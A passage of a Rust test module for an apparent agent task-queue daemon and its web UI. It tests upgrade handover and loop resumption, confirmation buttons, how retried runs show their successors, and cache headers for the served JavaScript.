20840        end_loop.send(()).expect("loop still waiting");
20841        for _ in 0..200 {
20842            if turns.lock().unwrap().parking {
20843                break;
20844            }
20845            tokio::time::sleep(Duration::from_millis(25)).await;
20846        }
20847        assert!(
20848            turns.lock().unwrap().parking,
20849            "closed once the loop is done"
20850        );
20851        let refused = ui.begin_talk_turn("20260901-000000-late").err();
20852        assert!(
20853            refused.is_some_and(|e| e.message.contains("upgrade in progress")),
20854            "no turn starts once the loop is done"
20855        );
20856        assert!(
20857            ui.begin_queued_talk_turn("20260901-000000-late")
20858                .expect("queued claim")
20859                .is_none()
20860        );
20861        assert!(!handover.is_finished());
20862        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
20863
20864        drop(turn);
20865        handover.await.expect("join").expect("hand over");
20866        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
20867        assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
20868    }
20869
20870    /// A turn that never ends cannot block the upgrade: past the bound the
20871    /// hand-over proceeds and records which talk it gave up on.
20872    #[tokio::test]
20873    async fn hand_over_gives_up_on_a_stuck_chat_turn_after_the_bound() {
20874        let home = TempDir::new().expect("temp home");
20875        let (ui, looping, turns, served) = park_fixture(&home).await;
20876        let id = "20260901-000000-stuk";
20877        let _turn = ui.begin_talk_turn(id).expect("claim").expect("free");
20878
20879        let calls = std::sync::atomic::AtomicUsize::new(0);
20880        hand_over(
20881            home.path(),
20882            &looping,
20883            &turns,
20884            &|_: &[String]| Duration::from_millis(300),
20885            served,
20886            |_| {
20887                calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
20888                Ok(1)
20889            },
20890        )
20891        .await
20892        .expect("hand over");
20893        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
20894
20895        let progress = crate::updater::read_progress(home.path()).expect("progress");
20896        assert_eq!(progress.stage, crate::updater::Stage::Restarting);
20897        assert!(
20898            progress.detail.as_deref().is_some_and(|d| d.contains(id)),
20899            "{:?}",
20900            progress.detail
20901        );
20902        let log = std::fs::read_to_string(crate::updater::log_path(home.path())).expect("log");
20903        assert!(
20904            log.contains("handing over anyway") && log.contains(id),
20905            "{log}"
20906        );
20907    }
20908
20909    /// A drain that finds the upgrade parking leaves the queued draft alone
20910    /// and gives the slot up, instead of starting another turn.
20911    #[tokio::test]
20912    async fn drain_loop_starts_no_turn_while_parking() {
20913        let tmp = TempDir::new().expect("tempdir");
20914        let repo = tmp.path().join("repo");
20915        std::fs::create_dir_all(&repo).expect("repo dir");
20916        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
20917        let home = TempDir::new().expect("temp home");
20918        let talks = Talks::at(home.path().join("talks"));
20919        let ui = Ui::new(
20920            Queue::at(home.path().join("queue")),
20921            Questions::at(home.path().join("questions")),
20922            talks.clone(),
20923            home.path().join("runs"),
20924            home.path().to_path_buf(),
20925            repo.clone(),
20926        )
20927        .with_worktrees_root(home.path().join("wt"));
20928        let cfg = config_for(&repo).await.expect("discover config");
20929        let mut talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
20930        let id = talk.id.clone();
20931        talk::queue(&mut talk, &talks, "later", Vec::new()).expect("queue");
20932        let turn = ui.begin_talk_turn(&id).expect("claim").expect("free");
20933        let turns = ui.turns();
20934        let parking = ParkingTurns::begin(&turns);
20935
20936        drain_loop(talk, talks.clone(), cfg, id.clone(), turn).await;
20937
20938        assert!(
20939            turns.lock().unwrap().live.is_empty(),
20940            "the slot is given up"
20941        );
20942        let fresh = talks.get(&id).expect("talk");
20943        assert_eq!(fresh.pending, "later", "the draft is still queued");
20944        assert!(fresh.turns.is_empty(), "no turn ran");
20945        drop(parking);
20946    }
20947
20948    /// Run `hand_over` against `ui` and return what the successor was told.
20949    async fn handed_over(home: &TempDir, ui: Ui) -> bool {
20950        let looping = ui.looping();
20951        let turns = ui.turns();
20952        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
20953            .await
20954            .expect("bind loopback");
20955        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
20956        let told = std::sync::Mutex::new(None);
20957        hand_over(
20958            home.path(),
20959            &looping,
20960            &turns,
20961            &|_: &[String]| Duration::from_secs(5),
20962            served,
20963            |resume| {
20964                *told.lock().unwrap() = Some(resume);
20965                Ok(1)
20966            },
20967        )
20968        .await
20969        .expect("hand over");
20970        told.into_inner().unwrap().expect("successor was started")
20971    }
20972
20973    #[tokio::test]
20974    async fn a_running_loop_is_resumed_by_the_successor() {
20975        let home = TempDir::new().expect("temp home");
20976        let ui = idle_ui(&home);
20977        ui.start_loop(None).expect("start");
20978        ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
20979        // The idle loop sees the park and ends before the handover fires.
20980        for _ in 0..500 {
20981            if !ui.loop_view(None).running {
20982                break;
20983            }
20984            tokio::time::sleep(Duration::from_millis(2)).await;
20985        }
20986        assert!(handed_over(&home, ui).await, "a running loop must resume");
20987
20988        let successor = idle_ui(&home);
20989        assert!(!successor.loop_view(None).running);
20990        assert!(successor.resume_after_handover(true));
20991        assert!(successor.loop_view(None).running);
20992        successor.stop_loop(None, false).expect("stop");
20993    }
20994
20995    #[tokio::test]
20996    async fn a_second_upgrade_request_keeps_the_resume_intent() {
20997        let home = TempDir::new().expect("temp home");
20998        let ui = idle_ui(&home);
20999        ui.start_loop(None).expect("start");
21000        ui.park_for_upgrade("0.1.0", Some("0.1.1"))
21001            .expect("first park");
21002        ui.park_for_upgrade("0.1.0", Some("0.1.1"))
21003            .expect("second park");
21004        assert!(handed_over(&home, ui).await);
21005    }
21006
21007    #[tokio::test]
21008    async fn a_stop_during_the_handover_wait_is_honoured() {
21009        let home = TempDir::new().expect("temp home");
21010        let ui = idle_ui(&home);
21011        ui.start_loop(None).expect("start");
21012        ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
21013        ui.stop_loop(None, false).expect("stop");
21014        assert!(!handed_over(&home, ui).await);
21015    }
21016
21017    #[tokio::test]
21018    async fn an_idle_loop_stays_stopped_across_the_handover() {
21019        let home = TempDir::new().expect("temp home");
21020        let ui = idle_ui(&home);
21021        ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
21022        assert!(!handed_over(&home, ui).await);
21023
21024        let successor = idle_ui(&home);
21025        assert!(!successor.resume_after_handover(false));
21026        assert!(!successor.loop_view(None).running);
21027    }
21028
21029    #[tokio::test]
21030    async fn a_loop_the_operator_stopped_is_not_resumed() {
21031        let home = TempDir::new().expect("temp home");
21032        let ui = idle_ui(&home);
21033        ui.start_loop(None).expect("start");
21034        ui.stop_loop(None, false).expect("stop");
21035        ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
21036        assert!(!handed_over(&home, ui).await);
21037    }
21038
21039    #[test]
21040    fn only_an_explicit_one_requests_a_resume() {
21041        assert!(!resume_requested(None));
21042        assert!(!resume_requested(Some("0".into())));
21043        assert!(!resume_requested(Some("".into())));
21044        assert!(resume_requested(Some("1".into())));
21045    }
21046
21047    #[test]
21048    fn the_upgrade_button_arms_before_it_restarts_anything() {
21049        // It ends the process the operator is talking to, and a phone in a
21050        // pocket taps things. One tap arms, the second commits.
21051        assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
21052        assert!(APP_JS.contains("Replace the binary and restart?"));
21053        assert!(APP_JS.contains("function confirmed("));
21054        // Hidden when the loop is somebody else's, matching the 409 above -
21055        // and hidden with nothing to install, matching the 200 "already
21056        // current" branch: an operator on the newest build must not be
21057        // offered a restart that would only park a run for nothing.
21058        assert!(APP_JS.contains("show(upgradeBtn, canUpgrade)"));
21059        // A park waits for the node in flight, up to an hour for an implement
21060        // wave. Leaving the button reading "Upgrading…" for that long is the
21061        // same mistake as an error rendered off screen: it looks wedged.
21062        assert!(
21063            APP_JS.contains("Parking, then restarting"),
21064            "the button says what it is waiting for"
21065        );
21066        // And nothing to install must give the button back rather than
21067        // pretending a restart is coming.
21068        assert!(APP_JS.contains("if (!out.to)"));
21069    }
21070
21071    #[test]
21072    fn stopping_the_loop_arms_but_starting_does_not() {
21073        // A stray tap must not leave the queue stopped overnight, so a stop is
21074        // two taps through the same helper the upgrade uses; a start stays one.
21075        assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
21076        assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
21077        assert!(APP_JS.contains("confirmed(button, question)"));
21078        // The label put back on timeout is the one saved when arming, not a
21079        // hard-coded upgrade caption that would rename the stop button.
21080        assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n    }\n  }, 6000)"));
21081        assert!(APP_JS.contains("const label = btn.textContent;"));
21082        assert!(!APP_JS.contains("Neither direction is guarded"));
21083    }
21084
21085    #[test]
21086    fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
21087        assert!(
21088            APP_JS.contains("state.health.version"),
21089            "the operator wants to know what is running even with nothing newer"
21090        );
21091        assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
21092    }
21093
21094    #[test]
21095    fn the_upgrade_button_names_its_destination() {
21096        assert!(
21097            APP_JS.contains("`Update to ${update.to}`"),
21098            "pressing the button should not be a surprise about what it moves to"
21099        );
21100    }
21101
21102    #[test]
21103    fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
21104        for stage in ["downloading", "replaced", "parking", "restarting"] {
21105            assert!(
21106                APP_JS.contains(&format!("\"{stage}\"")),
21107                "the phone must be able to tell {stage} apart from the others"
21108            );
21109        }
21110        assert!(APP_JS.contains(".waiting_on"));
21111        // What replaced the bare "Cannot reach magi: Failed to fetch": a
21112        // fetch failing while an upgrade is in flight is not an error, it is
21113        // the sub-second gap `bind_waiting` covers, and it must not be
21114        // reported as one.
21115        assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
21116        assert!(APP_JS.contains("reconnects on its own"));
21117    }
21118
21119    #[test]
21120    fn a_failed_upgrade_does_not_lock_the_loop_controls() {
21121        let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
21122            ..APP_JS.find("function upgrade(").expect("upgrade")];
21123        assert!(!body.contains(
21124            "upgradeStage === \"failed\") {\n    setAttr(box, \"data-state\", \"failed\")"
21125        ));
21126        assert!(body.contains("renderUpgradeError();"));
21127        assert!(INDEX_HTML.contains("id=\"upgrade-error\""));
21128    }
21129
21130    #[test]
21131    fn an_overdue_upgrade_eventually_asks_for_a_human() {
21132        // The ceiling has to clear a full hour-long park with room to spare,
21133        // or an ordinary implement wave would be reported as a stuck upgrade.
21134        assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
21135        assert!(APP_JS.contains("function upgradeOverdue("));
21136    }
21137
21138    #[test]
21139    fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
21140        assert!(
21141            APP_JS.contains("Updated to ${upgradeInfo.to"),
21142            "the operator who asked for the restart wants to know it worked"
21143        );
21144    }
21145
21146    #[test]
21147    fn an_error_is_visible_from_where_the_button_is() {
21148        // The alert used to sit in the flow under the header. On a phone
21149        // scrolled 13 500 px down to a run's action sheet that is off screen,
21150        // so tapping Resume and being told "the loop is running run b455
21151        // right now" looked exactly like a button that did nothing.
21152        let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
21153            ..APP_CSS.find(".alert-text").expect(".alert-text")];
21154        assert!(
21155            alert.contains("position: fixed"),
21156            "an error about the thing under your thumb has to be visible from \
21157             where your thumb is: {alert}"
21158        );
21159        assert!(
21160            alert.contains("z-index: 25"),
21161            "above the dock (20) and the run-actions FAB (15), so neither \
21162             buries it: {alert}"
21163        );
21164        assert!(
21165            alert.contains("var(--tap)"),
21166            "and clear of the dock and the home indicator: {alert}"
21167        );
21168        // The FAB sits at the same height on the right. An error that covered
21169        // it would hide the button the operator reaches for next.
21170        assert!(
21171            alert.contains("var(--s4) + var(--tap) + var(--s3)"),
21172            "the FAB's column stays free: {alert}"
21173        );
21174    }
21175
21176    #[tokio::test]
21177    async fn an_older_attempt_says_what_replaced_it() {
21178        let fx = Fixture::start().await;
21179        let q = fx.queue();
21180        let runs = fx.runs();
21181        let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
21182        write_run(&runs, first, RunStatus::Stalled);
21183        write_run(&runs, second, RunStatus::Blocked);
21184
21185        let mut t = Task::new(
21186            "one task".to_owned(),
21187            "do it".to_owned(),
21188            PathBuf::from("/repo"),
21189            Source::Human,
21190        );
21191        t.runs = vec![first.to_owned(), second.to_owned()];
21192        q.put(&mut t).expect("put");
21193
21194        // Two cards with the same title and no hint which is which was the
21195        // question: "why are there two of the same, one stalled and one
21196        // blocked?" The older one now names its replacement.
21197        let rows = fx.get("/api/runs").await.json();
21198        let by = |short: &str| -> Value {
21199            rows.as_array()
21200                .unwrap()
21201                .iter()
21202                .find(|r| r["short"] == short)
21203                .cloned()
21204                .unwrap_or(Value::Null)
21205        };
21206        assert_eq!(by("aaaa")["superseded_by"], "bbbb");
21207        assert!(
21208            by("bbbb")["superseded_by"].is_null(),
21209            "the latest attempt is not superseded by anything"
21210        );
21211        // Front end: the note has to be rendered, not just carried.
21212        assert!(APP_JS.contains("run.superseded_by"));
21213        assert!(APP_JS.contains("Superseded by"));
21214    }
21215
21216    fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
21217        let mut t = Task::new(
21218            "one task".to_owned(),
21219            "do it".to_owned(),
21220            PathBuf::from("/repo"),
21221            Source::Human,
21222        );
21223        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
21224        t.status = status;
21225        t
21226    }
21227
21228    #[test]
21229    fn source_link_picks_the_page_that_filed_the_task() {
21230        let agent = |node: &str| Source::Agent {
21231            run: "20260904-014455-ab12".to_owned(),
21232            node: node.to_owned(),
21233        };
21234        let chat = source_link(&agent("chat")).expect("chat link");
21235        assert_eq!(chat.kind, "chat");
21236        assert_eq!(chat.id, "20260904-014455-ab12");
21237        assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
21238        let run = source_link(&agent("implement")).expect("run link");
21239        assert_eq!(
21240            (run.kind, run.href.as_str()),
21241            ("run", "#/runs/20260904-014455-ab12")
21242        );
21243        assert_eq!(source_link(&Source::Human), None);
21244        assert_eq!(
21245            source_link(&Source::Issue {
21246                number: 3,
21247                repo: "o/r".to_owned()
21248            }),
21249            None
21250        );
21251        let odd = source_link(&Source::Agent {
21252            run: "a b/c".to_owned(),
21253            node: "chat".to_owned(),
21254        })
21255        .expect("link");
21256        assert_eq!(odd.href, "#/chat/a%20b%2Fc");
21257    }
21258
21259    #[test]
21260    fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
21261        assert!(
21262            !APP_JS.contains("src.node === \"chat\""),
21263            "inline href rule is back"
21264        );
21265        assert!(
21266            APP_JS.matches("sourceLinkOf(").count() >= 4,
21267            "helper must serve every page"
21268        );
21269        assert!(
21270            APP_JS.matches("openChatLink(").count() >= 3,
21271            "the run page still needs its explicit chat link"
21272        );
21273        assert!(
21274            !APP_JS.contains("const openChat = el("),
21275            "the Queue card duplicates its source label link again"
21276        );
21277        assert!(
21278            APP_JS.contains("metaKids.push(link ? el(\"a\""),
21279            "the task page must link a chat source label too"
21280        );
21281    }
21282
21283    #[test]
21284    fn task_ref_carries_the_source_link_for_a_chat_task() {
21285        let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
21286        t.source = Source::Agent {
21287            run: "20260904-014455-ab12".to_owned(),
21288            node: "chat".to_owned(),
21289        };
21290        let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
21291        let v = serde_json::to_value(&out).expect("json");
21292        assert_eq!(v["source_link"]["kind"], "chat", "{v}");
21293        assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
21294        assert_eq!(v["source_label"], t.source.label());
21295
21296        let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
21297        let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
21298            .expect("json");
21299        assert!(v["source_link"].is_null(), "{v}");
21300    }
21301
21302    #[test]
21303    fn task_view_serializes_source_link() {
21304        let mut t = Task::new(
21305            "t".to_owned(),
21306            "t".to_owned(),
21307            PathBuf::from("/repo"),
21308            Source::Agent {
21309                run: "20260901-000000-aaaa".to_owned(),
21310                node: "implement".to_owned(),
21311            },
21312        );
21313        t.runs.clear();
21314        let v = serde_json::to_value(TaskView::from(t)).expect("json");
21315        assert_eq!(v["source_link"]["kind"], "run", "{v}");
21316        assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
21317    }
21318
21319    #[test]
21320    fn task_view_serializes_urgent_flag() {
21321        let mut t = Task::new(
21322            "t".to_owned(),
21323            "t".to_owned(),
21324            PathBuf::from("/repo"),
21325            Source::Human,
21326        );
21327        let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
21328        assert_eq!(v["urgent"], false, "{v}");
21329        t.urgent = true;
21330        let v = serde_json::to_value(TaskView::from(t)).expect("json");
21331        assert_eq!(v["urgent"], true, "{v}");
21332        assert!(APP_JS.contains("task.urgent === true"));
21333    }
21334
21335    #[tokio::test]
21336    async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
21337        let fx = Fixture::start().await;
21338        let runs = fx.runs();
21339        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
21340        write_run(&runs, old, RunStatus::Blocked);
21341        write_run(&runs, new, RunStatus::Merged);
21342        let mut t = outcome_task(&[old, new], TaskStatus::Done);
21343        fx.queue().put(&mut t).expect("put");
21344
21345        let view = fx.get(&format!("/api/runs/{old}")).await.json();
21346        let task = &view["task"];
21347        assert_eq!(task["status"], "done");
21348        assert_eq!(task["is_latest"], false);
21349        assert_eq!(task["latest"]["short"], "bbbb");
21350        assert_eq!(task["finished_by"]["id"], new);
21351        assert_eq!(task["finished_by"]["outcome"], "merged");
21352        assert_eq!(task["closed_by_hand"], false);
21353        assert_eq!(view["status"], "blocked", "the run keeps its own status");
21354        assert!(APP_JS.contains("finished_by"));
21355        assert!(APP_JS.contains("superseded by run"));
21356    }
21357
21358    #[tokio::test]
21359    async fn the_latest_run_reports_a_held_task_without_a_successor() {
21360        let fx = Fixture::start().await;
21361        let runs = fx.runs();
21362        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
21363        write_run(&runs, old, RunStatus::Stalled);
21364        write_run(&runs, new, RunStatus::Blocked);
21365        let mut t = outcome_task(&[old, new], TaskStatus::Held);
21366        fx.queue().put(&mut t).expect("put");
21367
21368        let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
21369        assert_eq!(task["status"], "held");
21370        assert_eq!(task["is_latest"], true);
21371        assert!(task["latest"].is_null());
21372        assert!(task["finished_by"].is_null());
21373        assert_eq!(task["closed_by_hand"], false);
21374    }
21375
21376    #[tokio::test]
21377    async fn a_direct_run_has_no_task_outcome() {
21378        let fx = Fixture::start().await;
21379        let runs = fx.runs();
21380        let id = "20260901-000000-aaaa";
21381        write_run(&runs, id, RunStatus::Blocked);
21382        let view = fx.get(&format!("/api/runs/{id}")).await.json();
21383        assert!(view["task"].is_null());
21384    }
21385
21386    #[test]
21387    fn task_outcome_does_not_guess_a_finishing_run() {
21388        let a = "20260901-000000-aaaa";
21389        let b = "20260901-000000-bbbb";
21390        let c = "20260901-000000-cccc";
21391        let dir = tempfile::tempdir().expect("tempdir");
21392        write_run(dir.path(), a, RunStatus::Blocked);
21393        write_run(dir.path(), b, RunStatus::VerifiedNoop);
21394        // `c` has no record: unreadable.
21395        let read = |id: &str| read_run(dir.path(), id).ok();
21396        // Neither a blocked run nor a no-op finished the task; the newest run is
21397        // unreadable and still named.
21398        let t = outcome_task(&[a, b, c], TaskStatus::Done);
21399        let out = task_outcome(&t, a, 3, read);
21400        assert!(out.finished_by.is_none());
21401        assert!(out.closed_by_hand);
21402        let latest = out.latest.expect("latest");
21403        assert_eq!(latest.id, c);
21404        assert_eq!(latest.status, None);
21405        assert_eq!(latest.outcome, "record unreadable");
21406
21407        // A Ready run settles the task as done, so it is named as the finisher.
21408        write_run(dir.path(), c, RunStatus::Ready);
21409        let t = outcome_task(&[a, c], TaskStatus::Done);
21410        let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
21411        assert_eq!(out.finished_by.expect("finisher").id, c);
21412        assert!(!out.closed_by_hand);
21413
21414        // A resumed run id repeats: it is still the latest by id.
21415        let t = outcome_task(&[a, b, a], TaskStatus::Held);
21416        assert!(task_outcome(&t, a, 3, read).is_latest);
21417    }
21418
21419    #[tokio::test]
21420    async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
21421        // The list route has known this since the card fix above; the detail
21422        // route — what an operator actually opens from a notification about
21423        // a blocked run — did not, and went on showing a bare red BLOCKED
21424        // chip for a run a retry had already finished.
21425        let fx = Fixture::start().await;
21426        let q = fx.queue();
21427        let runs = fx.runs();
21428        let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
21429        write_run(&runs, first, RunStatus::Blocked);
21430        write_run(&runs, second, RunStatus::Merged);
21431
21432        let mut t = Task::new(
21433            "one task".to_owned(),
21434            "do it".to_owned(),
21435            PathBuf::from("/repo"),
21436            Source::Human,
21437        );
21438        t.runs = vec![first.to_owned(), second.to_owned()];
21439        q.put(&mut t).expect("put");
21440
21441        let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
21442        assert_eq!(earlier["superseded_by"], "dddd");
21443        assert_eq!(earlier["latest_attempt"]["id"], second);
21444        assert_eq!(earlier["latest_attempt"]["short"], "dddd");
21445        assert_eq!(
21446            earlier["latest_attempt"]["resolved"], true,
21447            "the run that replaced it landed, so this one reads as settled"
21448        );
21449
21450        let later = fx.get(&format!("/api/runs/{second}")).await.json();
21451        assert!(
21452            later["superseded_by"].is_null(),
21453            "the latest attempt is not superseded by anything"
21454        );
21455        assert!(
21456            later["latest_attempt"].is_null(),
21457            "the latest attempt has no later attempt of its own"
21458        );
21459
21460        // Front end: the detail page has to read the field this route now
21461        // carries, downgrade the chip, and link to the run that replaced it —
21462        // not just repeat the list card's own logic under a different name.
21463        // The link is built off `latest_attempt.id`, the server-resolved
21464        // full id, never a bare short string a client would have to guess a
21465        // full run from.
21466        assert!(APP_JS.contains("run.latest_attempt"));
21467        assert!(APP_JS.contains("data-superseded"));
21468        assert!(APP_JS.contains("#/runs/${latest.id}"));
21469    }
21470
21471    #[tokio::test]
21472    async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
21473        // A -> B -> C, all Blocked except the last. A's immediate successor
21474        // (superseded_by) is B, which is itself unresolved; what an operator
21475        // opening A's page actually needs is where the task's story stands
21476        // *now* - C, not B - without depending on whether C happens to be in
21477        // whatever page of /api/runs the client last cached.
21478        let fx = Fixture::start().await;
21479        let q = fx.queue();
21480        let runs = fx.runs();
21481        let (a, b, c) = (
21482            "20260901-000000-aaaa",
21483            "20260901-000000-bbbb",
21484            "20260901-000000-cccc",
21485        );
21486        write_run(&runs, a, RunStatus::Blocked);
21487        write_run(&runs, b, RunStatus::Blocked);
21488        write_run(&runs, c, RunStatus::Merged);
21489
21490        let mut t = Task::new(
21491            "retried twice".to_owned(),
21492            "do it".to_owned(),
21493            PathBuf::from("/repo"),
21494            Source::Human,
21495        );
21496        t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
21497        q.put(&mut t).expect("put");
21498
21499        let view = fx.get(&format!("/api/runs/{a}")).await.json();
21500        assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
21501        assert_eq!(
21502            view["latest_attempt"]["id"], c,
21503            "the chain's current head, not the intermediate Blocked retry"
21504        );
21505        assert_eq!(view["latest_attempt"]["resolved"], true);
21506
21507        let mid = fx.get(&format!("/api/runs/{b}")).await.json();
21508        assert_eq!(mid["latest_attempt"]["id"], c);
21509        assert_eq!(mid["latest_attempt"]["resolved"], true);
21510    }
21511
21512    #[tokio::test]
21513    async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
21514        let fx = Fixture::start().await;
21515        let q = fx.queue();
21516        let runs = fx.runs();
21517
21518        // Still Blocked: the task is not resolved, so the older run must not
21519        // read as settled either.
21520        let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
21521        write_run(&runs, still_blocked_a, RunStatus::Blocked);
21522        write_run(&runs, still_blocked_b, RunStatus::Blocked);
21523        let mut t1 = Task::new(
21524            "still stuck".to_owned(),
21525            "do it".to_owned(),
21526            PathBuf::from("/repo"),
21527            Source::Human,
21528        );
21529        t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
21530        q.put(&mut t1).expect("put");
21531        let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
21532        assert_eq!(view1["latest_attempt"]["resolved"], false);
21533        assert_eq!(view1["latest_attempt"]["status"], "blocked");
21534        assert_eq!(view1["latest_attempt"]["done"], true);
21535
21536        // Still running: the successor exists and must be reported as such.
21537        let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
21538        write_run(&runs, run_a, RunStatus::Blocked);
21539        write_run(&runs, run_b, RunStatus::Implementing);
21540        let mut t3 = Task::new(
21541            "retrying".to_owned(),
21542            "do it".to_owned(),
21543            PathBuf::from("/repo"),
21544            Source::Human,
21545        );
21546        t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
21547        q.put(&mut t3).expect("put");
21548        let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
21549        assert_eq!(view3["latest_attempt"]["id"], run_b);
21550        assert_eq!(view3["latest_attempt"]["resolved"], false);
21551        assert_eq!(view3["latest_attempt"]["done"], false);
21552
21553        // VerifiedNoop: a candidate's own unconfirmed claim, held for a human
21554        // to check - not a confirmed finish, so this must not read as
21555        // resolved either, even though the run is done in the sense that
21556        // nothing is still running.
21557        let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
21558        write_run(&runs, noop_a, RunStatus::Blocked);
21559        write_run(&runs, noop_b, RunStatus::VerifiedNoop);
21560        let mut t2 = Task::new(
21561            "claims done".to_owned(),
21562            "do it".to_owned(),
21563            PathBuf::from("/repo"),
21564            Source::Human,
21565        );
21566        t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
21567        q.put(&mut t2).expect("put");
21568        let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
21569        assert_eq!(
21570            view2["latest_attempt"]["resolved"], false,
21571            "an unverified no-op claim must not read as a confirmed finish"
21572        );
21573
21574        // Front end: an unresolved successor must not carry the "finished
21575        // this work" note or the muted chip treatment.
21576        assert!(APP_JS.contains("latest.resolved"));
21577        // ...but the link to it shows as soon as it exists, labelled by state
21578        // and without the "finished" wording or the muted chip.
21579        assert!(APP_JS.contains("successorNote(latest, inFlight)"));
21580        assert!(APP_JS.contains("Latest attempt: "));
21581        assert!(APP_JS.contains("in flight"));
21582        assert!(APP_JS.contains("not resolved"));
21583    }
21584
21585    #[tokio::test]
21586    async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
21587        let fx = Fixture::start().await;
21588        // No cache header at all meant browsers invented their own policy,
21589        // and one did: a phone went on showing "Candidates must be folded
21590        // before deleting. Run `magi fold` first." - deleted two releases
21591        // earlier - from a deck that no longer contained the sentence. The
21592        // button it named was right there, and unreachable.
21593        let js = fx.get("/app.js").await;
21594        assert_eq!(js.status, 200);
21595        let tag = js
21596            .header("etag")
21597            .expect("an etag to revalidate against")
21598            .to_owned();
21599        assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
21600        assert_eq!(
21601            js.header("cache-control"),
21602            Some("no-cache, must-revalidate"),
21603            "the phone has to ask every time"
21604        );
21605
21606        // And the asking has to be cheap, or `must-revalidate` just means
21607        // "send the whole interface on every load".
21608        let again = fx
21609            .get_with("/app.js", &[("if-none-match", tag.as_str())])
21610            .await;
21611        assert_eq!(
21612            again.status, 304,
21613            "a deck it already has costs one round trip"
21614        );
21615        assert!(again.body.is_empty(), "304 carries no body");
21616
21617        // A weakened tag from a proxy still matches; a different build does
21618        // not, which is the case that has to deliver the new interface.
21619        let weak = fx
21620            .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
21621            .await;
21622        assert_eq!(weak.status, 304);
21623        let stale = fx
21624            .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
21625            .await;
21626        assert_eq!(stale.status, 200, "an older build must be replaced");
21627        assert!(stale.body.contains("renderRunActions"));
21628    }
21629
21630    #[test]
21631    fn the_task_detail_has_an_actions_fab_and_sheet() {
21632        assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
21633        assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
21634        assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
21635        // Shown only on the task route, closed everywhere else.
21636        assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
21637        assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
21638        // Refreshed whenever the detail redraws, including the loading state.
21639        assert!(APP_JS.contains("renderTaskActions(task);"));
21640        assert!(APP_JS.contains("renderTaskActions(null);"));
21641        // Same renderers and routes as the Queue card, no new endpoint.
21642        let sheet = APP_JS
21643            .find("function renderTaskActions")
21644            .expect("sheet renderer");
21645        let body = &APP_JS[sheet..sheet + 3000];
21646        assert!(body.contains("changePriority("));
21647        assert!(body.contains("openTaskEdit(task)"));
21648        assert!(body.contains("renderTaskHoldBox(host"));
21649        assert!(body.contains("renderTaskDoneBox(host"));
21650        assert!(body.contains("renderTaskDeleteBox(host"));
21651        assert!(APP_JS.contains("API.priority(id)"));
21652        assert!(APP_JS.contains("API.deleteTask(id)"));
